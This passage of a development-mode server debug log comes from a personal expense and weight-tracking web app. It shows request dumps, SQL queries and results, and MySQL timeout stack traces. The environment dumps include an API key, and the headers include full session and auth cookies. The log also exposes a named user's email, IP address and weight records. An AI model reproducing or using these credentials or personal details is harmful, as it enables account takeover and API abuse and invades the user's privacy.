    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A5%2FhGQmrShG7llOmje184jw%3D%3D.KEokyAzjJi33lruPCFTDAIxWUiG91iOAf900Zjg%2FCFIQm%2FU4E6tzgTkQ9DxEYEIr6AWT8NlR4iOk2%2BsvMOI63W98VGk8VViXtJ5QPcMIIioSwyCqQyo%2BpBXLrN05SNmfGSql0qnfoXdagI1JLnmFK5CgZi%2BsTB2cnSO%2Fcn3OZ3g%3D.cO08Mf2zu9AUxFlwf5QhXoQPEJfTGoz0H51u77B135s; your_r_git.sid=s%3A-37Jix6p-_jpGFOHZ-xfhIvYTs_FoWDW.2jqoRNH%2Fhh7G0IrrhwCvg6eWXsWbRvrTj%2Fupw%2BYE6OQ',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T13:43:11.717Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/weight-trackor',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/weight-trackor',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A5%2FhGQmrShG7llOmje184jw%3D%3D.KEokyAzjJi33lruPCFTDAIxWUiG91iOAf900Zjg%2FCFIQm%2FU4E6tzgTkQ9DxEYEIr6AWT8NlR4iOk2%2BsvMOI63W98VGk8VViXtJ5QPcMIIioSwyCqQyo%2BpBXLrN05SNmfGSql0qnfoXdagI1JLnmFK5CgZi%2BsTB2cnSO%2Fcn3OZ3g%3D.cO08Mf2zu9AUxFlwf5QhXoQPEJfTGoz0H51u77B135s; your_r_git.sid=s%3A-37Jix6p-_jpGFOHZ-xfhIvYTs_FoWDW.2jqoRNH%2Fhh7G0IrrhwCvg6eWXsWbRvrTj%2Fupw%2BYE6OQ',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-12T15:34:06.803Z server-connect:router Serving serverConnect /api/health/get-weight-log
2025-12-12T15:34:06.803Z server-connect:app Executing action step identify
2025-12-12T15:34:06.803Z server-connect:app options: { provider: 'security' }
2025-12-12T15:34:06.804Z server-connect:output identity: 1
2025-12-12T15:34:06.804Z server-connect:app Executing action step restrict
2025-12-12T15:34:06.804Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-12T15:34:06.804Z server-connect:output restrict: undefined
2025-12-12T15:34:06.805Z server-connect:app Executing action step custom
2025-12-12T15:34:06.805Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT DATE(`date`) AS date, `weight`\n' +
      'FROM `health_weight_trackor`\n' +
      'ORDER BY `date` DESC\n' +
      'LIMIT 30;',
    params: []
  }
}
2025-12-12T15:34:06.808Z server-connect:output list: [
  { date: 2025-12-11T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-09T18:30:00.000Z, weight: '70.95' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-05T18:30:00.000Z, weight: '72.40' },
  { date: 2025-12-04T18:30:00.000Z, weight: '71.20' },
  { date: 2025-12-03T18:30:00.000Z, weight: '71.40' },
  { date: 2025-12-02T18:30:00.000Z, weight: '70.80' },
  { date: 2025-12-01T18:30:00.000Z, weight: '71.40' },
  { date: 2025-11-30T18:30:00.000Z, weight: '72.40' },
  { date: 2025-11-28T18:30:00.000Z, weight: '71.80' }
]
2025-12-12T15:53:56.838Z server-connect:router Serving templateView /weight-trackor
2025-12-12T15:53:56.839Z server-connect:app Executing action step identify
2025-12-12T15:53:56.839Z server-connect:app options: { provider: 'security' }
2025-12-12T15:53:56.839Z server-connect:output identity: 1
2025-12-12T15:53:56.839Z server-connect:app Executing action step restrict
2025-12-12T15:53:56.839Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-12T15:53:56.841Z server-connect:output restrict: undefined
2025-12-12T15:53:56.841Z server-connect:router Render template layouts/main
2025-12-12T15:53:56.841Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A5%2FhGQmrShG7llOmje184jw%3D%3D.KEokyAzjJi33lruPCFTDAIxWUiG91iOAf900Zjg%2FCFIQm%2FU4E6tzgTkQ9DxEYEIr6AWT8NlR4iOk2%2BsvMOI63W98VGk8VViXtJ5QPcMIIioSwyCqQyo%2BpBXLrN05SNmfGSql0qnfoXdagI1JLnmFK5CgZi%2BsTB2cnSO%2Fcn3OZ3g%3D.cO08Mf2zu9AUxFlwf5QhXoQPEJfTGoz0H51u77B135s; your_r_git.sid=s%3A-37Jix6p-_jpGFOHZ-xfhIvYTs_FoWDW.2jqoRNH%2Fhh7G0IrrhwCvg6eWXsWbRvrTj%2Fupw%2BYE6OQ',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T13:43:11.717Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/weight-trackor',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/weight-trackor',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A5%2FhGQmrShG7llOmje184jw%3D%3D.KEokyAzjJi33lruPCFTDAIxWUiG91iOAf900Zjg%2FCFIQm%2FU4E6tzgTkQ9DxEYEIr6AWT8NlR4iOk2%2BsvMOI63W98VGk8VViXtJ5QPcMIIioSwyCqQyo%2BpBXLrN05SNmfGSql0qnfoXdagI1JLnmFK5CgZi%2BsTB2cnSO%2Fcn3OZ3g%3D.cO08Mf2zu9AUxFlwf5QhXoQPEJfTGoz0H51u77B135s; your_r_git.sid=s%3A-37Jix6p-_jpGFOHZ-xfhIvYTs_FoWDW.2jqoRNH%2Fhh7G0IrrhwCvg6eWXsWbRvrTj%2Fupw%2BYE6OQ',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/weight-trackor'
}
2025-12-12T15:53:57.326Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-12T15:53:57.329Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-12T15:53:57.329Z server-connect:router Serving serverConnect /api/health/get-weight-log
2025-12-12T15:53:57.330Z server-connect:app Executing action step identify
2025-12-12T15:53:57.330Z server-connect:app options: { provider: 'security' }
2025-12-12T15:53:57.330Z server-connect:output identity: 1
2025-12-12T15:53:57.330Z server-connect:app Executing action step restrict
2025-12-12T15:53:57.330Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-12T15:53:57.330Z server-connect:app Executing action step identify
2025-12-12T15:53:57.330Z server-connect:app options: { provider: 'security' }
2025-12-12T15:53:57.330Z server-connect:output identity: 1
2025-12-12T15:53:57.330Z server-connect:app Executing action step restrict
2025-12-12T15:53:57.330Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-12T15:53:57.331Z server-connect:output restrict: undefined
2025-12-12T15:53:57.331Z server-connect:app Executing action step select
2025-12-12T15:53:57.331Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-12T15:53:57.332Z server-connect:app Executing action step identify
2025-12-12T15:53:57.332Z server-connect:app options: { provider: 'security' }
2025-12-12T15:53:57.332Z server-connect:output identity: 1
2025-12-12T15:53:57.332Z server-connect:app Executing action step restrict
2025-12-12T15:53:57.332Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-12T15:53:57.333Z server-connect:output restrict: undefined
2025-12-12T15:53:57.333Z server-connect:app Executing action step single
2025-12-12T15:53:57.333Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-12T15:53:57.338Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-12T15:53:57.340Z server-connect:output restrict: undefined
2025-12-12T15:53:57.340Z server-connect:app Executing action step custom
2025-12-12T15:53:57.340Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT DATE(`date`) AS date, `weight`\n' +
      'FROM `health_weight_trackor`\n' +
      'ORDER BY `date` DESC\n' +
      'LIMIT 30;',
    params: []
  }
}
2025-12-12T15:53:57.340Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-12T15:53:57.344Z server-connect:output list: [
  { date: 2025-12-11T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-09T18:30:00.000Z, weight: '70.95' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-05T18:30:00.000Z, weight: '72.40' },
  { date: 2025-12-04T18:30:00.000Z, weight: '71.20' },
  { date: 2025-12-03T18:30:00.000Z, weight: '71.40' },
  { date: 2025-12-02T18:30:00.000Z, weight: '70.80' },
  { date: 2025-12-01T18:30:00.000Z, weight: '71.40' },
  { date: 2025-11-30T18:30:00.000Z, weight: '72.40' },
  { date: 2025-11-28T18:30:00.000Z, weight: '71.80' }
]
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-12 16:09:32' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-12 16:09:32' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-12 16:27:32' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-12 16:27:32' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-12 17:23:00' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-12 17:23:00' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-12 17:44:33' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
